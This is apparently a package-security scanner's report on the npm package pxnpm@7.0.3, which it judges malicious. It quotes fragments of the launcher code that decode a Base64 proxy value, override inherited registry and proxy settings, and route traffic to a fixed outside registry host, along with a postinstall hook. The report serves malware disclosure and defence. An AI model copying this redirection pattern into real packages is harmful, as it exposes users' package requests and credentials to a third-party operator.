pxnpm
ARK package manager based on the pnpm 12.9.1 native engine
This report shows the evidence for pxnpm@7.0.3. 6 of 7 known versions are blocked or flagged. The newest version, 7.0.4, is flagged. See all versions.
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe CLI’s default runtime configuration redirects package-manager traffic to a fixed endpoint and overwrites inherited registry and proxy settings. This is concrete, unconsented traffic redirection, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
Invoking the pxnpm or pxnpx CLI.
Impact
Package requests and any credentials used for those requests may be exposed to the package-selected registry and proxy operator.
Mechanism
The launcher decodes an embedded proxy value, discards inherited network overrides, sets the fixed registry and proxy configuration, then launches the native package manager with that environment.
Attack narrative
The CLI silently routes package-manager traffic through a fixed package-selected registry and proxy, and prevents inherited network settings from changing that route. This creates an active path for exposing package requests and applicable registry credentials to the selected endpoint.
AI rationale
The CLI’s default runtime configuration redirects package-manager traffic to a fixed endpoint and overwrites inherited registry and proxy settings. This is concrete, unconsented traffic redirection, so publication should be blocked.
Evidence
package.jsondist/launcher.cjsdist/native-manifest.jsondist/download.cjs
Network endpoints1
registry-pxnpm.rdc.nfjbill.ren:20021
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package exposes pxnpm as a CLI backed by bin/pxnpm.cjs.
- The launcher decodes a package-embedded proxy value and assigns it as the registry and HTTP/HTTPS proxy, overriding inherited network settings.
- The launcher passes those settings to the spawned native package manager.
- The forced registry and proxy use registry-pxnpm.rdc.nfjbill.ren:20021.
Evidence against
- The native downloader checks the archive and binary against manifest sizes and SHA-256 hashes; this does not address the launcher’s forced routing.
Behavioral surface
ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node bin/install.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node bin/install.cjs
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgbin/install.cjsView file
2'use strict';
L3: require('../dist/download.cjs').ensureNative().catch(error => {
L4: console.error(`pxnpm: ${error.message}`);
Medium
Dynamic Require
Package source references dynamic require/import behavior.
bin/install.cjsView on unpkg · L2dist/launcher.cjsView file
2const path = require('node:path');
L3: const {spawn} = require('node:child_process');
L4: const {ensureNative, nativePlatform} = require('./download.cjs');
...
L7:
L8: function prepare(args, inherited = process.env, defaultProxy = releaseProxy.startsWith('__') ? undefined : Buffer.from(releaseProxy, 'base64').toString()) {
L9: const env = {...inherited, WORKSPACE_PWD: process.cwd()};
L10: const networkKey = key => /^(?:registry|registries|proxy|https[-_]proxy|http[-_]proxy|no[-_]proxy|noproxy|pnpr[-_]server)$/i.test(key) || /:registry$/i.test(key);
...
L27: const command = result[0];
L28: env.PXNPM_CONFIG_REGISTRY = 'https://registry-pxnpm.rdc.nfjbill.ren:20021/';
L29: if (defaultProxy) {
...
L46: if (args.length === 1 && ['--version','-v'].includes(args[0])) {
L47: console.log(requir
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
dist/launcher.cjsView on unpkg · L2dist/download.cjsView file
•matchType = normalized_sha256
matchedPackage = pxnpm@7.0.0
matchedPath = dist/download.cjs
matchedIdentity = npm:cHhucG0:7.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/download.cjsView on unpkgFindings
3 High5 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighBase64 Obscured Urldist/launcher.cjs
HighKnown Malware Source Similaritydist/download.cjs
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumDynamic Requirebin/install.cjs
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to pxnpm@7.0.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing pxnpm@7.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
7 known versions7.0.4latestSuspicious—WarnPublishedOct 19, 2026, 4:49 AM7.0.3shownMaliciousMalwareBlockPublishedOct 8, 2026, 10:48 AM7.0.2MaliciousMalwareBlockPublishedOct 8, 2026, 9:13 AM7.0.1MaliciousMalwareBlockPublishedOct 8, 2026, 7:32 AM7.0.0MaliciousMalwareBlockPublishedOct 6, 2026, 1:13 PM7.0.0-beta.8MaliciousMalwareBlockPublishedOct 6, 2026, 11:10 AM7.0.0-beta.6MaliciousMalwareBlockPublishedOct 6, 2026, 6:53 AM